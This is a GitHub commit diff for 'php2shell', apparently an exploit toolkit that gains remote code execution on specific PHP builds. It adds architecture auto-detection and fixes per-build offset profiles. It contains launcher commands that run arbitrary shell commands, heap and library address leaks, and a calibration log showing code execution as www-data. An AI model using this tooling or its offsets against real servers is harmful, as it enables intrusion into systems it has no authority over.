Skip to content

Commit 86d1433

Browse files
committed
Auto-detect architecture and fix 8.5.11 amd64 profile selection
1 parent 92e7a85 commit 86d1433

17 files changed

Lines changed: 106 additions & 117 deletions

‎README.md‎

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,8 @@ default retries because its stage 3 is probabilistic.
6262
- **Version-aware dispatch** — fingerprints the target, rejects fixed releases,
6363
selects the exact build profile and passes offsets, `htdata` and heap
6464
parameters explicitly. `--php-version` covers servers that hide their version;
65-
`--profile` selects a specific build when a version has several (arm64/amd64).
65+
`--arch` selects aarch64 or amd64 (auto-detected for local containers), and
66+
`--profile` forces an exact build.
6667
- **Memory-limit probe** — one request reveals the target `memory_limit` from
6768
the fatal message; the chain then runs once instead of sweeping every value.
6869
- **Worker pinning** — keeps N-1 prefork workers busy with idle keep-alive
@@ -169,6 +170,17 @@ A profile is per build:
169170
}
170171
```
171172

173+
## Architecture selection
174+
175+
Some versions ship more than one build. PHP 8.5.11 has separate arm64 and amd64
176+
offsets:
177+
178+
- local container: the dispatcher reads `uname -m` and selects the matching
179+
profile automatically;
180+
- remote target: pass `--arch aarch64|amd64` (or `--profile NAME`). If the
181+
version has several builds and no architecture is supplied, the dispatcher
182+
refuses instead of guessing.
183+
172184
## Configuration requirements
173185

174186
The shipped calibration targets:

‎catalog/vulnerable.json‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,7 @@
9999
],
100100
"profiles": {
101101
"8.4.26": {
102-
"file": "profiles/8.4.26-bookworm-amd64.json",
102+
"file": "profiles/8.4.26-bookworm.json",
103103
"build": "php:8.4.26-apache (Debian bookworm, mod_php, prefork)",
104104
"rce": true,
105105
"verified": true
@@ -133,4 +133,4 @@
133133
}
134134
},
135135
"coverage_note": "A version listed in a vulnerable branch is exposed, but it is exploitable only when a verified profile exists for that exact build. Vendor backports cannot be inferred from the version string."
136-
}
136+
}

‎docs/calibration-logs/8.3.35-calibrate.log‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,5 +13,5 @@ wrote /tmp/p2s-pocs/9bie_php2shell/out/offsets.env
1313
stage3 0x6e0d8/lab: no proof
1414
stage3 0x5404a/bookworm: no proof
1515
stage3 0x5404a/lab: no proof
16-
[*] wrote profiles/8.3.35-bookworm-aarch64.json
16+
[*] wrote /Users/dpua/Downloads/php-vuln/profiles/8.3.35-bookworm-aarch64.json
1717
[*] rce=False chunk=0xffff84600000 libphp=0xffff866f0000

‎docs/calibration-logs/8.4.26-calibrate.log‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,5 +8,5 @@ wrote /tmp/p2s-pocs/9bie_php2shell/out/offsets.env
88
N=841 len=63 -> cookie=4096 chunk=0x7ffffc400000
99
[*] stage2 T=406 -> libphp=0x7ffffe013000
1010
[+] stage3 0x690d8/bookworm: uid=33(www-data) gid=33(www-data) groups=33(www-data)
11-
[*] wrote profiles/8.4.26-bookworm-aarch64.json
11+
[*] wrote /Users/dpua/Downloads/php-vuln/profiles/8.4.26-bookworm-aarch64.json
1212
[*] rce=True chunk=0x7ffffc400000 libphp=0x7ffffe013000

‎docs/calibration-logs/matrix_report.json‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,12 @@
33
"label": "8.4.25-bookworm-aarch64",
44
"status": "leaks-only",
55
"rce": false,
6-
"profile": "profiles/8.4.25-bookworm-aarch64.json"
6+
"profile": "/Users/dpua/Downloads/php-vuln/profiles/8.4.25-bookworm-aarch64.json"
77
},
88
{
99
"label": "8.5.10-bookworm-aarch64",
1010
"status": "rce",
1111
"rce": true,
12-
"profile": "profiles/8.5.10-bookworm-aarch64.json"
12+
"profile": "/Users/dpua/Downloads/php-vuln/profiles/8.5.10-bookworm-aarch64.json"
1313
}
1414
]

‎docs/rce-guide.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -181,7 +181,7 @@ docker compose -f docker/docker-compose.yml up -d
181181
curl -s http://127.0.0.1:8088/index.php # OK
182182

183183
# 2. Run the launcher (English interface)
184-
cd /path/to/php2shell
184+
cd /Users/dpua/Downloads/php-vuln
185185
python3 tools/php2shell_rce.py \
186186
-u http://127.0.0.1:8088/index.php \
187187
-c 'id>/out/p1' \

‎docs/reproducibility.md‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -86,9 +86,9 @@ Typical wall time is 7-15 seconds on a native host once the image is present.
8686
# 8.5.11 arm64
8787
python3 tools/php2shell_auto.py -u http://127.0.0.1:8106/index.php --container p2s-lab-8511 --memory-limit-mb 8
8888

89-
# 8.5.11 amd64 (separate offsets; use the amd64 profile explicitly)
89+
# 8.5.11 amd64 (separate offsets; --arch is auto-detected for local containers)
9090
python3 tools/php2shell_auto.py -u http://127.0.0.1:<port>/index.php \
91-
--profile 8.5.11-bookworm-amd64 --container <amd64-lab> --memory-limit-mb 8
91+
--arch amd64 --container <amd64-lab> --memory-limit-mb 8
9292

9393
# 8.4.25 is probabilistic: keep the default retries
9494
python3 tools/php2shell_auto.py -u http://127.0.0.1:<port>/index.php \

‎docs/wiz-php2shell.png‎

512 KB
Loading

‎profiles/8.3.0-bookworm.json‎

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,5 @@
3232
"libphp_base": null
3333
},
3434
"status": "calibration failed: heap/libphp leak not reproduced",
35-
"distro": "debian",
3635
"arch": "aarch64"
37-
}
36+
}

‎profiles/8.3.33-wordpress.json‎

Lines changed: 15 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -20,17 +20,22 @@
2020
"stage3_pads": null,
2121
"stage3_carrier": null
2222
},
23+
"requirements": {
24+
"display_errors": "On",
25+
"memory_limit": "8M",
26+
"max_input_vars": 1000,
27+
"session_upload_progress": "On",
28+
"session_use_cookies": 1,
29+
"session_use_strict_mode": 0,
30+
"workers": 1
31+
},
2332
"measured": {
24-
"chunk_base": "0xffffae200000",
25-
"libphp_base": "0xffffb0300000"
33+
"chunk_base_example": "0xffffae200000",
34+
"libphp_base_example": "0xffffb0300000",
35+
"stage3_http_session_vars": "chunk+0x56180",
36+
"stage3_ref_buffers": "chunk+0x5d068+n*0xa0"
2637
},
2738
"status": "stage 1 (heap leak) and stage 2 (libphp leak) reproduced; stage 3 not calibrated, no RCE",
2839
"distro": "debian",
29-
"arch": "aarch64",
30-
"config": {
31-
"memory_limit": 8388608,
32-
"display_errors": "On",
33-
"session_upload_progress": "On",
34-
"workers": 1
35-
}
36-
}
40+
"arch": "aarch64"
41+
}

0 commit comments

Comments
 (0)